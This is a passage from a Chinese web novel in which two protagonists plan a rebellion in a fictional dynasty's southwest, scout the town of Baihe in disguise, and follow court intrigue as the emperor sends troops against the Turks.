“你还好,家就在应州,东家起兵肯定也是从应州起,到时候你给营里打报告,转头就能回家看看,我家还在外州,离应州有一段距离,不知道什么时候才能回去。” “也是咱们没早归东家手里,从前跟四皇子,手里都没钱,白耽误了几年,这会跟了东家,手里的钱慢慢攒着,等东家起兵,正好将家里人接到清平县生活。” “咋还要一家子背井离乡过来清平县,我看日后东家必要是进长安的,你不如多攒一些,到时候把一家子接去长安过日子。” “我倒是想,但长安和清平县能一样吗?咱们也不是没听从长安禁军营过来的弟兄们说话,要想在长安过好日子,手里没个几百两都是不成的,更别说长安一处宅子,我一辈子的月例拿出来都不一定够。” 东家给他的月钱不少,奈何长安房子太贵了,压根买不起。 “这话就不对了,你说的都是好的坊市,樊将军也说过,长安还有不少偏远的里坊杂草丛生,到时候咱们这些人就都去这些里坊买房子。 都是军营出身,家眷也在一块,哪个小偷小摸敢上门?” “说的也是,偏远的里坊好歹也在长安境内,那我得多攒攒钱,到时候买套大宅子,我家人可不少。” 第96章 “将士们想回家探亲的心思我理解, 毕竟不少人已经离家几年,但眼下情况特殊,人暂时不能放回去, 但可以遣人送些消息回去。” 眼下西南没了平王指手画脚, 他虽不敢说一手遮天, 但行事也不必过于遮掩, 从前平王在西南招兵买马,地方豪强都是睁一只眼闭一只眼,这会子换了一股不知道打哪来的势力,聪明的自然继续装聋作哑。 “应州本地还好,大部分县城都有我们的人, 但到了外州, 不少青壮都是被抢走的, 突然冒出回信,总要编排个合适的缘由, 不然当地官员问起,容易打草惊蛇。” 应州内的汉子都是以徭役的形式征召走的, 没说死也没说活, 消息灵通的都知道人在平王手里, 这会子送信回乡, 只说人还在为官衙办事, 需要一段时日才能回来,旁人也不敢多问。 外州不是平王的封地, 不少地方官员治下百姓被抢,都在官府登记造册,突然冒出来,若没有合适的解释, 怕是会被地方官当成为祸一方的土匪。 “外州情况复杂,送信的确要有更多考量,为了安抚将士的心,可以先批一部分应州本地的将士和家里联系。” “照你说的办。” “长安近来有什么消息吗?”尚柒盘算了一下时间,已经入秋,广运帝那边怎么还没有动静。 “兄长信里没提,不过我的人倒是有传信回来,朝廷为了出兵的事闹了好些时日,朝中大臣隐隐有妥协的迹象。”到底还是广运帝的本事更大。 “出兵也不过迟早的事,秋收后出兵,国库正肥,户部自然也没有借口拖延,只是行军到边境,要不了多久便要入冬,这仗打起来大历要吃亏。” “春夏秋冬,哪个季节出兵大历都要吃亏,听闻这次选的出征将军,是个数年没去战场的赵括。”朝中参战的将军大多已经老了,连上马都费劲,不可能领兵出征,年少敢闯的又因为派系斗争,没有出头的机会,只剩下一些浸淫官场的中庸之人,嘴皮子是利索,上战场真本事是没有的。 “赵括纸上谈兵还算厉害,据我说知,朝廷里的武将大多已经锈了骨头,全赖祖宗荫蔽才有如今的位置,真要他们上战场,若只是混个军功便罢了,正儿八经打仗多半是送人头的。” 广运帝在位期间,也不是没有发生过战争,但都是小打小闹,大规模打起来的还真没有。 主要还是广运帝有个好爹,上一任皇帝治下出了个几个有名的武将,当时突厥有意攻打大历,最后大败而归,因此才有这二三十年的太平日子。 “突厥和大历打起来,趁着广运帝没功夫应对西南,咱们是不是可以在西南树旗帜了。” “可以,但需要将你我在这股势力中摘干净。”西南可以有反贼,但反贼不能和长安有关系,若是广运帝知道此云就是造反头子之一,别家必然没有活路。 “那只能叫蔺肃出面代替你我行事。” “比起在军营做事,想来蔺肃更喜欢代表咱们势力出头招揽人手。” …… “阿嚏——”蔺肃揉了揉鼻尖,才入秋,西南的天气还没转凉,哪怕山里夜间冷了些,也不至于风寒了才是。 “蔺管事,东家有信给你。”蔺肃的手下浑身冒着热气进来。 “已经入秋了,日日打赤膊容易生病,叫下面的人记得穿衣服,别贪凉。”蔺肃对手下的人几乎是耳提命面,只是这群汉子仗着年轻力壮半点不上心。 “嘿嘿,蔺管事,咱们这些大字不识一个几个的兵汉,别的没有,就有一副好身板,哪怕寒冬腊月操练的时候打赤膊,也不见生病,你甭操心。” “那就去问问营里的军医,看看人家会不会说,身强体壮时受寒,等老了会不会遭报应。” 蔺肃跟在东家身边几年,别的没学会,养生学了个十乘十。 “老了的事等老了再说,蔺管事你也晓得,从前咱们弟兄有几个能活到老的。”西南百姓,大部分能活过五十都是好的,六十七十这等老人,根本见不着。 有也多是卧病在床,遭一家老小嫌弃。 “现在你们不光能活到老,有福气的还能活到孙辈娶亲,等重孙辈的孩子出生,你身体依旧康健,能抱着重孙走动,四世同堂的好日子不是更吸引人。” 听得蔺管事这样说,原本还不在意老了怎么样的汉子忽然打了个激灵,是啊,从前活到六七十都是折磨人。 但富贵人家活到八十都康健的也不再少数,眼下他们好吃好喝,也没比富贵老爷差到哪儿去,说不得八十岁依旧健步如飞。 “蔺管事说的是,等回去我就叫他们好好穿衣,保管没人贪凉。” 得了保证蔺肃才放心看东家送来的信。 要说蔺肃和东家也是有了默契,基本上东家送信过来都能猜中东家打算做什么,今个儿的信却出乎了蔺肃的预料。 东家竟然打算趁着广运帝出兵的时候打出名头,朝廷那边自顾不暇,但西南还有西南边军守着。 他们只五千人,边军再不堪也都是过万的数,此事要和樊将军商议商议才是。 樊泊正在军营内的沙盘摆阵,不能真刀真枪的上战场,他自然需要私下多训练,毕竟东家如此看重他,直接将五千精兵交给他统领,半点不忌讳他一点领兵作战的经验都没有,他当然也要对的起东家这份信任。 更不说他们一家过来西南之后,日子也好起来了。 两个孩子白日去私塾念书,娘子汪氏也寻了份清减的差事,虽月例不多,但也够一家平日开销。 连带着他父母都在县里寻摸了份差事,家里的宅子是东家安排的,过了契书,就是他们自己的房子。 原本在长安的小院,一家挤在不过三两间房里,日子过得何等憋屈,换到了西南,哪怕一家子一人住一间房,也都是住的开。 樊泊的月例家里人都攒着,想着有朝一日回了长安,必然是要在长安置办一间更好的宅院,更别说两个小的日后成亲也需要新宅,用钱的地方还多。 “樊将军可得空。”蔺肃打账外进来,见樊泊站在沙盘前一动不动,出言询问。 “蔺管事过来,我自然是有空的。”樊泊伸手请蔺肃去一旁坐着,“蔺管事过来,可是东家那边有什么要吩咐。” “瞒不过樊将军,东家今日来信,有意先在西南亮一亮名头,听闻朝廷那边不日要发兵突厥,东家认为这是个机会。” “朝廷要打突厥?”比起东家打算正式起兵,樊泊还是被朝廷竟然要打突厥的消息震撼到,“可是突厥人不老实?” “非也,东家信里虽然没细说,但早前我也和东家谈起过这事,是广运帝有意攻打突厥,将大历的边境线往外拉一拉。” 樊泊闻言皱眉,大历什么情况,突厥什么情况,真有心的人不可能看不出来眼下不是打突厥的好机会。 “樊将军也别担心,这些年边境虽没打过大战役,但边军一直同突厥发生过小规模战役,不算全然无能。” 不至于说大军压境,立刻就全军溃败,但这场战多半也打不了多久,只看眼下突厥有多厉害罢了。 若是突厥被打散的心气还没恢复过来,说不得广运帝的痴心妄想还真成,若是突厥恢复往年的凶猛,大历战败是可预料的,总归北面的局势暂时影响不到西南。 “东家想要趁机举事不成问题,朝廷到时候多半连突厥都自顾不暇,管不到西南上来。”西南历来不老实,光是大历开国后,就冒出过不少占据一方的势力,只是这些势力多鼠目寸光,没能彻底一统西南就被大历击溃。 “朝廷自然是不必担心,就算是没被突厥牵绊住,广运帝也不敢冒险叫禁军来西南支援。”名下的几个儿子都不安分,长安一旦有可乘之机,保管诸位皇子都会一拥而上,推广运帝下台,广运帝肯定不会以身犯险。 “那蔺管事的担心的是西南边军和西南境内的府兵?” “正是,西南边军本事的确不大,我也去过西南边军军营,因为西南边境和其他小国之间有一处大山脉阻隔,西南少有发生战事,加上朝廷克扣军饷,边军中少有骁勇善战之士,但西南边军的人数在我们数倍之上,不得不提防。” 论能打,肯定是他们的兵能打,不说武器,就是看块头,外人都不见得能看出这支兵全由西南人组成。 “战场上,五千人对数倍之人的确悬殊,但西南地势险峻,比起正面交锋,埋伏伏击也是常用的战略。 眼下五千兵马换批次从清平县往外打,也算是熟悉了应州的地势,西南边军真要奉旨平乱,恐怕会栽个大跟头。” 樊泊自信不惧西南边军。 “有樊将军这句话,我放心不少,既不担心西南边军,那么咱们就可以大张旗鼓的在应州现身,我想着没有比一场战役更容易打响名头的。” “应州境内的土匪都被一扫而空,想要打仗只能和朝廷的兵马作对,难不成东家打算正大光明的占据应州其他县城吗?” “何必紧盯着应州,应州附近的几个州迟早也要拿下,为了避免外人将叛军和东家他们过早联系在一块,我们可以先从外州下手。” 应州内,有东家和别公子文治,根本不必动兵,就可不费一兵一卒的拿下,甚至归顺的百姓也绝计不会有反抗的心思。 第97章 盘州, 紧邻应州,是西南过渡到中原的必经之路,繁华程度比起应州有过之而无不及。 盘州境内, 盘踞的地方豪强也都不可小觑, 不少人和长安世家结亲, 沾亲带故的关系叫盘州的豪强地位更稳当。 像是别此云, 在应州是一呼百应,而到了盘州,想要巴结他的人便没那么多了。 归根结底,还是盘州的豪强不缺长安的人脉,多一个别家是锦上添花, 少一个别家也无足轻重, 自然了, 不巴结也不会轻易得罪,别家到底还是有几分威名。 “所以盘州下的白鹤县就是咱们要名正言顺夺下的第一座城池。”白鹤县地理位置特殊, 因为盘州是西南出去的唯一陆路,白鹤县又是盘州要塞之地, 占据白鹤县, 就能影响西南其他州府和中原的联系。 “白鹤县位置居中, 虽离盘州城有上百里的距离, 但大军想要绕过盘州周边城池过去, 需要先找人探路。 最重要的一点,是咱们占据白鹤县, 极有可能被包饺子。” 别此云盯着白鹤县的位置,的的确确是扎根西南的好位置,只是想要悄无声息的占据此地,几乎不可能。 毕竟大历也不是傻子, 历朝历代肯定也有聪明人,白鹤县在历史上肯定不止一次被叛军占据,而白鹤县被划分在盘州中心,也就说明了大历知道白鹤县位置的重要性。 “盘州府兵数量有限,咱们起兵后,盘州境内应该没有应对机制,不必担心四面有埋伏,而西南边军要想去平乱,需要经过应州,咱们可以在应州地界解决西南边军。” “朝廷那边还没传出动兵的消息,咱们要动兵最迟在明年,还有的是时间让樊泊思考该如何出兵。” “出兵我不担心,等咱们这只叛军的名头打出去,恐怕长安那边迟早会收到消息。”尚柒提醒别此云别家肯定不会对此事无动于衷。 西南只要有了叛军,乱起来是可预见的,别家肯定不希望此云继续留在西南,甚至会劝尚柒辞官返回长安,等日后寻到机会再提拔就是。 “占据白鹤县,就是在切断你我能够回长安的后路,眼下能够自由进出西南的莫不过是地方商人,等白鹤县占下,西南和长安之间的商路必会断一段时日。” 到时候,就不是他们不想回而是不他们不能回了。 哪怕世家手中有部曲保护平安,但身手再好的部曲遇上军队,也没法将人安全带回长安。 “那咱们要提前去一趟白鹤县探明情况吗?”出征白鹤县,尚柒和别此云几乎不会露面。 “乔装打扮去,白鹤县是被叛军强占,到时候处理方式和清平县完全不一样,咱们需要先知道白鹤县的更多情况,赶在交战前制定一个初步计划,等大军入城,蔺肃他们也不至于手忙脚乱。” “有道理,眼下县里已经过了抢收第一茬粮食的时候,送去应州城的秋税也都准备好了,短时间离开一趟清平县没什么问题。” 只是上次他们还说要一块去礼县,没成想转头又要去白鹤县。 “西南认识你我的人不多,盘州别家也没有熟人,可以不做掩饰。” “这次咱们去白鹤县探明情况,不能跟平日一样只顾吃喝玩乐,更多的还是向百姓打探消息。” 县里情况如何,不能听县令和富户的一面之词,当然百姓间流传的言辞也不能全信。 说要走,尚柒和别此云都是动作迅速的人,将手中的事情交代给身边的人,就轻装简行带着一队人手往白鹤县去。 从清平县到白鹤县约莫要一旬左右,而白鹤县不临江,坐江船过去半道还要转车,两人干脆走陆路,官道虽不好走,但慢行也能撑到白鹤县。 “盘州治下清明,全赖盘州刺史清廉,这位刺史出身诸城王氏,虽不是嫡系,但因早年文采出众,也算在长安有几分薄名。”别此云是没见过这位王氏子弟,他出生的时候,王刺史名头正盛,但没过几年,人就离开长安到地方任职,十数年下来,也坐到了刺史的位置。 “王氏在世家排名不弱,怎么甘心叫这样一位文采斐然的弟子到西南任职。”别看刺史已经是地方最高行政,但刺史和刺史还是不一样。 西南的刺史比不上中原州府的刺史,而岭南一带的刺史又不及西南,王氏按照地位怎么也该叫家中子弟在中原任职,更不说这位王刺史名声显赫。 “许是十数年前闹过什么不愉快,这位麒麟才子才离开长安后自愿到西南任职,不过十数年就能做到刺史的位置,背后不可能少了王氏的帮衬。” 世家某些不愿意透露的私事,很难打听出来,更不说事情发生的时候别此云年岁还小,在长安还没有自己的根基,想要深挖又怕打草惊蛇。 “咱们有可能拉拢这位麒麟才子吗?”盘州比起西南其他州府情况要好,除开更靠近中原的地理优势,最重要的就是盘州的上官不是尸位素餐之辈。 别此云轻哼一声,道:“你当世家是什么忠于皇帝的铁杆粉丝吗?” 流水的皇帝,铁打的世家可不是说说而已,大历才几百年历史,东海萧氏、淮阳谢氏这都几百年的老世家了。 “那就是有机会了,说起来我在西南贩卖药材,还真没和这位王刺史结交过。”西南豪强尚柒不说全认识,但因为医术的缘故,也算是结识了大半,余下一小半还是因为他突然离开西南,没时间结识。 “我自入西南后,也少有听闻这位王刺史的传闻,说明人行事低调。”又或者,王刺史还秉承老世家的矜持,认为商户地位低下,不该卑躬屈膝结识。 “若是真的低调,从前在长安就不会传出这么多名头,以至于十几年不在长安,依旧有人念念不忘。”尚柒漫不经意的话里,突然弥漫着一股子酸味。 叫要为王刺史辩解的别此云愣了好一会,才反应过来尚柒这是吃醋了。 “你吃的是哪门子的醋,我与这位王刺史连面都没见过,照大历的算法,他够当我父亲了。” “只是见你说此人说的头头是道,但人在长安已经是十多年前的事。” 别此云不接受这些歪理邪说,反而慢吞吞的说起来别的:“我不光能将十多年前风靡长安的王刺史生平说的头头是道,我还能将六大世家近百年出名的麒麟子生平都背出来,莫不是你还要吃地下躺着的人的醋?” “只是六大世家?长安其他世家一个出彩的儿郎都没有?”尚柒不动声色,半点不提方才自己莫名其妙的醋意。 “自然是有的,只是想来我要将他们也一一道来,怕今夜的饭里该要酸的没法下咽了。”别此云眉开眼笑的戏弄尚柒,仿佛抓了尚柒一个好大的把柄。 “你今日才知道醋酸的叫人吃不下饭,那么前些日子我可是每日都食不下咽。” “好啊,原来在这里等我。”别此云眉眼间流转光彩,尚柒说的是前些时候撬墙角那事,他们这头人还没开始行动,就有应州城的小门小户闻风而来,将家中姑娘哥儿送到清平县府上。 连退回去的机会都不给尚柒留,望着满屋子的莺莺燕燕,尚柒不光头疼的想办法安置,每日见到此云还要喝一壶新醋。 “礼尚往来。” “外人都将人送到你跟前了,我便醋一醋也是理所当然的,眼下这位王刺史我可还没见着面,你这礼尚往来的好没道理。”别此云认为尚柒在胡搅蛮缠。 “等见着面,只怕我的新醋就要变成陈酿了。” “正好我喜欢吃陈醋,看来王刺史我是不得不见一见了。”别此云双手环抱在胸前,说的振振有词。 尚柒轻哼一声,虽不赞同但不否认他们会在盘州会见王刺史:“咱们得一块见。” “我若一人登门,只怕王刺史不敢见我。” 车外赶车的张阿大揉了揉耳朵,替东家赶车有个坏处,就是随时随地能听到东家和别公子说些肉麻的话。 方才什么你吃醋我吃醋的,不过是你侬我侬的小把戏罢了,虽说东家成亲不到一年,还能算新婚,但他也见识过成亲的小夫夫,没哪个比东家和别公子腻歪的。 不过感情好也不是坏事,夫夫和睦东家和别公子才好全心全意干正事不是。 …… 白鹤县。 位于西南途径中原的主要县城,县里不论是人口还是建筑,都比的上盘州城,甚至因为不少在长安做生意的西南商人都要路过此地,留下了不少从长安带来的稀奇玩意。 白鹤县的百姓精神面貌也极好,不说个个面色红润,但少有面黄肌瘦的。 别此云走水路到西南,没见识过白鹤县的模样,尚柒却是来过的,只是当时他心系长安故知,一路几乎没怎么停歇,自然也没注意白鹤县究竟是什么模样。 所以等二人入了县城后,都像是头一次看新鲜一样在车上张望。 “乌桕该一块来看看的,他最喜欢热闹。”别此云听着熙熙攘攘的叫卖声,几乎以为回到了长安,应州城都没有白鹤县热闹。 “他如今心系弟子,想着尽快拉拔出一批能干的大夫,每日早起晚睡,瞧着比我都忙,叫他这时候出门游玩,肯定是不乐意的。”平日贪玩的孩子办起正事来像模像样,叫尚柒也满是欣慰。 可见南枝乌桕,哪怕是离了他,也能在这个世道生存下去。 第98章 二人到了客栈, 租了个小院,他们对外是做生意的,身边跟着商队人数还不少, 不过这些人都不是寻常跑商的汉子, 而是从军营抽调的兵丁。 盘州虽没怎么乱过, 但防患于未然, 身边有二三十个兵,在盘州遇上事也不怕。 入秋后,西南的天气还未完全转凉,但也不必日日冰盆放在室内才能度日。 白鹤县的客栈有好几家,因为来往商户多, 平日生意也是极好的, 这等能住下一支商队的小院在客栈也很紧俏, 运气不好还没有。 “看白鹤县大小,该是快有五千户的人口。”五千户都赶上中原县城的人数。 “盘州是中等偏上的州府, 比应州这样的下州人口多是应当的。”尚柒手里有粗浅调查过各地的人口数据,不能说百分之百准确, 但大体差不多。 整个西南, 盘州都是最好的州府, 白鹤县作为其下有名的县城, 自然差不到哪儿去。 “咱们占据白鹤县不难, 县里的府兵撑死了过百人,但想要县里百姓归心, 不大容易。”白鹤县的百姓生活算是西南过得去的,突然冒出一窝反贼攻城要称王称霸,不少想要安稳度日的百姓恐怕不乐意。 “百姓的事不急,咱们的兵马真要是打过来, 只要不跟这时候的兵丁一样杀烧抢掠,情况还是能控制住。”一般百姓不到生死关头,不会突然有勇气和叛军对抗,当然,若是白鹤县里有什么英雄人物想要率领百姓反抗,想来樊泊也能应对。 “出兵的事暂时不提,还是要多打探打探白鹤县内的势力。”别此云自信五千人能够轻松占据白鹤县,关键还是占据之后将白鹤县收归己有。 “出兵没能赶上这次收秋税之前,少了个拉拢人心的机会。”能免一载秋税,整个县城的百姓不说立刻对他们心悦诚服,但肯定不会再有之前那么大的抵抗情绪。 “也不必可惜,广运帝即将出兵突厥,若是兵丁人数在战场上折损过高,想来是要征兵役的,咱们赶在广运帝征兵役前拿下白鹤县,也省了县里百姓不少麻烦。” 说着,别此云又想到他们在白鹤县举事,名正言顺的亮相后就可以面向西南征兵,五千精兵可在西南驰骋一方,但对上整个大历又有些不够看。 造反,还是要手里有兵踏实些。 …… 长安。 广运帝在朝堂上越发咄咄逼人,朝臣终究架不住广运帝施压,同意攻打西南,领兵的将军正是先前大家猜测的那位,靠祖上荫蔽没有战场经验的将军。 同时禁军也抽调了部分人手加入这次攻打突厥的行动中。 禁军归皇帝管,其中各武将倒也不是全然的皇党,不少人各自投奔皇子,想要赚个从龙之功一飞冲天。 太子天然有对禁军的指挥权,武将里投靠太子的人不在少数,等齐王的兵马被从江南送到长安后,太子这方就占了优势。 毕竟这些和齐王混的兵丁都是犯了杀头罪,广运帝网开一面留他们性命都是好的,哪里还敢和其他王爷勾搭,真要是出了事,他们这些外地来的莽夫必然是头一个被拉出来当替罪羊的。 别景和作为广运帝看好半道插入禁军的将军,这回留在长安没跟着出兵。 “陛下既然放心将江南的叛军交给我处理,为何不叫我跟着大军出征,这次领兵的将军什么货色,我不说你也清楚,竟让这等人上前线,也不知有多少兵丁要死在这等蠢货手里。” 别景和赋闲在家,忍不住和堂兄抱怨。 “不叫你去送死难道还错了,这次出兵突厥,陛下和朝臣对持了许久,终于能出兵了,连个正经将军都拉不出来,此战必败。”别景季虽是个常年读书的书呆子,但对军事也略知一二。 真在纸上论兵法,别景季自问也是个纸上将军,他都能看出这次出兵有鬼,堂弟要是看不出来,也别做什么将军了。 “我自然知道此次出兵突然,大军又是靠部分禁军,各州抽调的府兵和边军共同作战,若没有好的统御能力,想要短时间将三军融合,不是简单的事。” 至少别景和没那么大本事,但放眼望去,整个朝廷也找不出这样的人才。 “那你还抱怨什么?”别景季认为他们家没掺和出兵最好,不然兵败追责,先前多少努力都扛不住。 “堂兄就没考虑过,若是大军惨败,突厥真入了关,咱们该怎么办?”别景季不在乎谁胜谁负,关键是突厥真要是大胜,难道人还会放过这个千载难得的入关机会吗? “突厥就算赢也打不到长安来。”别景季无奈透露了一点内情。 “堂兄难不成收到了什么突厥来的消息。”不然别景和不信别景季会盲目说这样的话。 “去岁长安降雪比往年多,突厥那头更是差点成了白灾,那时候就有传言说是王庭异动,想要南下掠劫,但突厥那位可汗最终没动兵。 今年夏天,中原地带略有旱情,虽不严重,但草原比起中原落雨更少,极有可能成黑灾,两个灾情撞在一块,突厥想要有活路八成会南下,这也是为什么朝廷诸公最终同意动兵。” 因为不管广运帝发不发兵,突厥大概率都要打过来,又因为突厥连续遭灾,损失累积在一块也不小,所以打过来也不是什么精兵强将,大历的兵马便是不成器,也不会说被突厥打的片甲不留。 “突厥的动向我未曾听人说过,堂兄是打哪儿来的消息?” “太子。” “我还当太子只关心长安内几位皇子,没成想竟然还对突厥上心。”别景和也清楚太子的性子,照他看太子就不是有这样大局观的人,多半还是有幕僚在后面点播,不然太子真有这个觉悟,早超过眼下诸位兄弟许多,其他人哪里能动摇太子的位置。 别景季苦笑摇头,哪里是太子对突厥突然上心,而是去岁陛下就有出兵突厥的打算,只是私下里行动,没多人摸清楚陛下的心思。 他们祖父跟在陛下身边多年,看出了些端倪告诉了太子,才造就当初别府一场刺杀宴,为的就是争夺时户部的位置,好在出兵时暗箱操作。 “堂兄,虽然你说的头头是道,但咱们还是要做好最坏的打算,塞外胡人也不是没打进过长安,过了雁门关,突厥打入长安,不过眨眼的功夫。” 别景季叹气,虽说别景和说了些丧气话,但也的确有这个可能。 “此事我会盯着,太子有人手在军中,真要是被突厥打进关内,我会第一时间得到消息。” 真要被突厥打进来,陛下肯定是第一个要跑的,满朝文武到时候都要听陛下的安排。 “好吧。”别景和也知道这种事不是他们能左右的,“对了,朝廷出兵的事你通知此云他们了吗?” 此云和尚柒在西南,要说长安被攻破,西南暂时安全,但也要给信,叫人做好准备。 “还未,从长安送信,走水路都要半月功夫,近来出兵的事才定下,我还没来得及送信过去。” “尽快送一封信,好叫他们有个心里准备,真要战乱,此云和尚柒离咱们太远,说不得就断了联系,虽说尚柒在西南有根基,但到底商贾起家,底蕴比不得世家,提前有个准备总不会错。” 照别景和的意思,是想叫此云和尚柒回长安和家里人待着的,但一想大军压境长安未必比西南安全,还是将想法压下了。 “嗯,我会叫他们做好准备,此云尚柒都是聪颖之人,知道如何护自己周全。”旁的不提,单单是此云胆大包天敢瞒着家里人做酒水生意,就知道此云本事不小。 —————————— “白鹤县不愧是中转之地,县里青楼赌坊都比应州热闹。”别此云乔装打扮跟着尚柒进了这些寻欢作乐之所查看了一番。 “人越多寻欢作乐之所越热闹,长安都能开辟一个平康坊专门供达官显贵取乐,白鹤县不过几家青楼,几个赌坊,规模还不及平康坊内。”尚柒不大喜欢这些乌烟瘴气的地方。 “清平县的青楼赌坊都被咱们拔出了,等咱们的人到了白鹤县,是勒令他们关停还是如清平县一般,寻人错处,阖家都抄没?” “勒令关停,然后清算,若想彻底杜绝青楼赌坊,必然一开始立规矩。” 也是古人夜生活单调,不然也不会一股脑全钻这些腌臜地快活。 “地呢?既然咱们已经打了叛军的旗帜,总能将地方豪强的地全收来了。”清平县再怎么着,还打着大历官府的名头,哪怕还有三分之一的土地捏在部分富商手里,他们也不好直接叫人交出来。 “若能买卖什么都好商量,若是不愿意,我想寻一些地方豪强的错处抄家也不是难事。”自古叛军烧杀抢掠无恶不作,他虽约束手下兵丁不得扰民,但也不是当真心慈手软。 “还是头一次见你这么杀气腾腾的模样。”别此云当然知道起兵哪有不见血的,只是他虽处理过不少人,但都是让手里的部曲动手,自己是不曾亲眼见过血。 “尚家是农户,想要冒头,一开始就会遇上无数阻挠,手里不可能干干净净。”不过尚柒自问处理的都是恶客,倒没什么于心不忍。 “不,这样最好,等起兵后,咱们就真的没有退路了,不能心软。” 第99章 秋日气爽。 长安城外, 黑压压的大军已经集结完毕,要不说广运帝出兵心切,从和朝臣商议要出兵到下令才过去多少功夫, 就已经完成点兵准备向北面前进。 冯风坐在靠城门的里坊, 点了一壶热酒配着几个下酒菜, 听坊内百姓议论出兵的事。 出兵打仗历来都是大事, 长安城的百姓比地方百姓要敏锐些,这些日子都在讨论出征突厥的事。 “好端端,也不知道为什么要打仗。” “可不是,你我出生后,世道还算太平, 但咱们上一辈哪个不晓得打仗的苦, 征兵征税, 也不晓得之后的日子要怎么过。” “咱们天子脚下,还算好的, 出了长安只有更难过的。” “希望这次出征顺利,最好不要打了败仗。” “冯兄弟, 你这是在笑什么?”老远传来一道声音, 冯风不必抬头都晓得是他在长安结识的人物。 “没笑什么, 不过是今日店家的酒水好, 吃了一盏心里快活。”来人底细不明, 冯风明里暗里也没少查人,但想要不惊动人, 很难往下摸。 “当真,你这话勾的我酒虫都冒出来了,店家,且给我上两盏好酒, 我先吃吃看。”来人说话豪爽,但看模样却更像是个白面书生,和粗人搭不上边。 “说来欧兄弟今日怎么到这地来了?”冯风自认为手脚麻利,绝不会轻易被人跟踪,但欧昇在这儿冒头,绝不会是巧合。 “今日朝廷出兵,我想来看个热闹,刚从城门回来想着到附近里坊寻些吃食,也免得回家开火,哪想竟然遇上冯兄弟你。”欧昇这话挑不出半点错处。 “的确是巧,我也是来看大军出征的,欧兄弟晓得,我出身西南小地方,替东家办事留在长安,见识不多。” “冯兄弟哪里的话,我虽土生土长在长安,但也没见过今日的场面,要说见识,我一定没有冯兄弟你走南闯北见得多。” 二人相互恭维了一番,又一块吃了几盏酒,冯风酒量不错,欧昇的酒量也不小,换作寻常汉子这样推杯换盏早就倒头不省人事,但二人却眼神清明,除开面上因为喝多了冒出的酒晕和呼吸间吐出的酒气,根本看不出二人喝过酒。 一般这样的人,要不就是天生酒量好,要不就是专门练过,以防需要喝酒的时候醉了做出糊涂事。 冯风自然是练出来的,欧昇这样的白面书生也不像是能多喝的模样,更能肯定此人接近他别有居心。 只是他查不出人背后的身份,这事得送封信问问东家,最好不是长安的势力盯上他。 …… “兄长来信,广运帝已经下旨出兵了,算时间,最早年前咱们就可以动兵。”寒冬腊月其实不便行军,但西南气候虽冷,却少有下雪的时候。 “除夕的确是个攻打白鹤县的好日子。”只是有点损,毕竟这时候家家户户都在吃团年饭,突然冒出来一伙叛军入城,怕是许多人之后过年都有心理阴影了。 “白鹤县的人手不多,咱们出一百人都可以全须全尾拿下。”但打下白鹤县和控制住白鹤县是两个概念,这次动兵,少说也要三百人。 “县外豪强的地盘你我人手已经探明,到时候只要不叫这些豪强有机会逃跑,咱们就算成功。” “不会叫他们跑了的,想来他们逃跑也舍不得家里的金银珠宝,不然孑然一身逃走,和杀了他们有什么区别?” “此云说的不错,今日咱们出城走走,正好看看白鹤县治下村子怎么样?”对尚柒和别此云来说,县里的情况只是表明他们能有多少能用的人手,而村里的情况才能看出他们有多少可用的土地。 白鹤县能够养活这么多户人口,除开地理位置占优,村里的耕地必然也是不少的,因为白鹤县地势是西南少有的平坦地,开垦出来的田地多是上田。 亩产也比西南其他地方要高,,唯一的缺点就是大江大河不过白鹤县,少了水路的支援,不过小河是有的,江船走不得,渔船能走。 “白鹤县每年出产的粮食供给整个县城外,还对外销售不少,其中还不包括豪强名下田地的粮食,占据此地,明年换上新种,亩产粮食至少要翻一半。”粮食历来都是重要的,他们能让更多人吃饱饭,才能收服更多人的人心。 “占据白鹤县,咱们手里就有个货真价实的粮仓。” “只是粮仓人人都觊觎,咱们趁着广运帝攻打突厥起兵,想来西南不安分的人也会争相效仿。”有野心的不光他们一家,但这个节骨眼缺个带头的,他们一出马,西南必要搅个血雨腥风。 “这不正给了我们平定西南的机会,再说没有我们,他们就不会起兵了吗?”别此云认为西南这个地方,迟早都是要乱的,只是看是小打小闹还是大张旗鼓。 尚柒没反驳,平定西南是他们造反的第一步,希望这个过程不会太慢。 —————————— 冯风在院子里闭目养神,不多时院子里就翻进来一个壮汉。 “冯管事。”壮汉进门后向院里的人抱拳。 “过来没人发现吧。”冯风瞧见人,虽五大三粗,但身手是一等一的灵活,是东家离开的时候特意分到他手里办事的人。 “没人,只是我方才过来查看了四周的情况,发现冯管事你院子外头有人盯梢。”宁垄知道冯管事一直替东家在长安探查情报,被人盯上也不是不可能。 “已经有几日了,我没查出来他们是谁的人,但多半是长安某个势力,近来我没做什么引人注目的举动,所以我想你跟一跟他们。” 冯风做事滴水不漏,就是先前挖禁军的人,也都是扫干净了尾巴,这时候东家都离开长安,他不过在长安做基础的消息收集,也不知引来了哪路鬼神。 “跟他们没问题,不过我瞧着这伙人下盘极稳,该是厉害的练家子,他们只怕不光是来盯梢的。” 盯梢是个辛苦活,一般都是派遣有点经验的人来干,像是武艺高的人派来盯梢,就有些浪费人手了。 “这样说,他们还想寻机会绑了我。”有宁垄的提醒,冯风不得不开始考虑退路。 不管盯梢是哪家势力,总归都是来者不善,东家又不可能跟长安势力合作,冯风懒得和人虚与委蛇。 所以不存在什么深入虎穴得虎子,完全得不偿失。 “应该有这个想法,冯管事要是不想被抓,还是想办法离开这里。” “我会想办法,既然这伙人来头不小,你也多加小心,若我不幸被捕,且给东家传信。” “是。”宁垄来得快去的也快。 冯风在院里待了片刻,想着对方就算是动手也是夜里了,他要走只有这会出门最好。 趁着时候还早,冯风先是将院子里能暴露身份的东西全都销毁,再换了一身衣裳,大摇大摆的往平康坊去。 平康坊鱼龙混杂,想要甩掉身后的尾巴,只有这里合适,再一个冯风替东家打探消息,都是在平康坊工作,为此对平康坊已然聊熟于胸。 坊门关闭后,平康坊内歌舞升平,正是开始热闹的时候,冯风进玉满楼前,特意寻了寻跟着他的人,然后一头扎进玉满楼,再不见踪影。 “跑了?我派这么多人盯一个都能叫人跑了,我养你们是干什么吃的。”晋王大发雷霆,把前来汇报消息的欧昇骂了个狗血淋头。 “冯风狡诈,许是早就发现咱们的人在盯梢,特意去了平康坊甩掉咱们的人。”欧昇和冯风结交时间不长,但这人跟泥鳅没什么两样,半点错处抓不到不说,还有可能反手抓他们的辫子,不是好拿捏的人物。 晋王面色阴沉的在屋内走来走去,去岁长安发生了好几桩大事,他们几个兄弟都牵扯在内,当时他就觉得不对劲,仿佛他们身后有一只无形的手在操控。 